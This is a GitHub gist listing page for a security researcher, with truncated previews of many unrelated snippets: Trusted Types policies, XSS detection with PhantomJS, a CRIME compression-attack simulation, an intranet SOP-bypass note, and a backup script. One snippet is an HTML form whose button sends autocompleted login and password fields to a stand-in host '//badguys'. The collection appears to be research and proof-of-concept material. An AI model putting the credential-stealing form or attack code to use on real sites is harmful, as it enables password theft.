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koto / example.js
Last active Jan 11, 2020
Support for custom types in Trusted Type policies.
View example.js
// Custom types for
// Allow a given TT policy to create custom unspoofable TrustedFoo instances.
const installFoo = (policy, rule, policyFactory) => {
const creatorSymbol = Symbol();
const map = new WeakMap();
// Some more defensive coding tricks can be applied here
// See for inspiration.
class TrustedFoo {
koto / gist:50550bf1ab02c0de59acff51f8066202
Last active Sep 23, 2018
ZFF export screening times from your watchlist
View gist:50550bf1ab02c0de59acff51f8066202
// go to
(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.chrono = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
!function(e,d){"object"==typeof exports&&"undefined"!=typeof module&&"function"==ty
View angular 1.6 xss, no quotes,
<!DOCTYPE html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
View gist:e52022050e2828ee40bb
* Imports a public key to the key server.
* @param {!e2e.openpgp.block.TransferablePublicKey} key The ASCII
* armored or {e2e.openpgp.block.TransferablePublicKey} key to import.
* @return {!e2e.async.Result.<boolean>} True if importing key is succeeded.
e2e.openpgp.KeyClient.prototype.importPublicKey = function(key) {
var uids = key.getUserIds();
if (uids.length != 1) {
View gist:8678570
"3.3.2 Is resource eligible for integrity validation
In order to mitigate an attackers ability to read data cross-origin by brute-forcing values via integrity checks, resources are only eligible for such checks if they are same-origin, publically cachable, or is the result of a granted the loading origin explicit access via CORS. [CORS] The following algorithm details these restrictions:"
publically cacheable != attacker could could read them anyway. For example - cross origin intranet resources. What if intranet resource is publicly cacheable? still allows for bruteforcing intranet resource body from internet (SOP bypass)
View credtest.php
<a id=a href="http://<?php
$blacklist = ':@#"?`/\\';
for ($i = 33; $i < 255; $i++) {
if (strpos($blacklist, chr($i)) !== false) {
echo urlencode(chr($i));
} else
//echo urlencode(chr($i));
koto / xssdetect.js
Created Dec 1, 2012
reflected xss detection using xssauditor on phantomjs
View xssdetect.js
var page = require('webpage').create(),
system = require('system'),
page.onInitialized = function () {
page.evaluate(function () {
// additional detection code here perhaps
// f.e. detecting STORED/DOM XSS
koto /
Created Sep 11, 2012
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="
koto / rsync_backup
Created Jan 16, 2012
OSX Snow Leopard bootable backup script with FileVault support (backup will be unencrypted!)
View rsync_backup
# use macports rsync 3.x - Apple's 2.6 hung on sockets
# rsync options
View gist:1502692
<form action="//same-origin">
<input name=login>
<input name=password type=password>
.<!-- this will probably be autocompleted -->
<button type=submit form-action="//badguys">clickme</button>
You can’t perform that action at this time.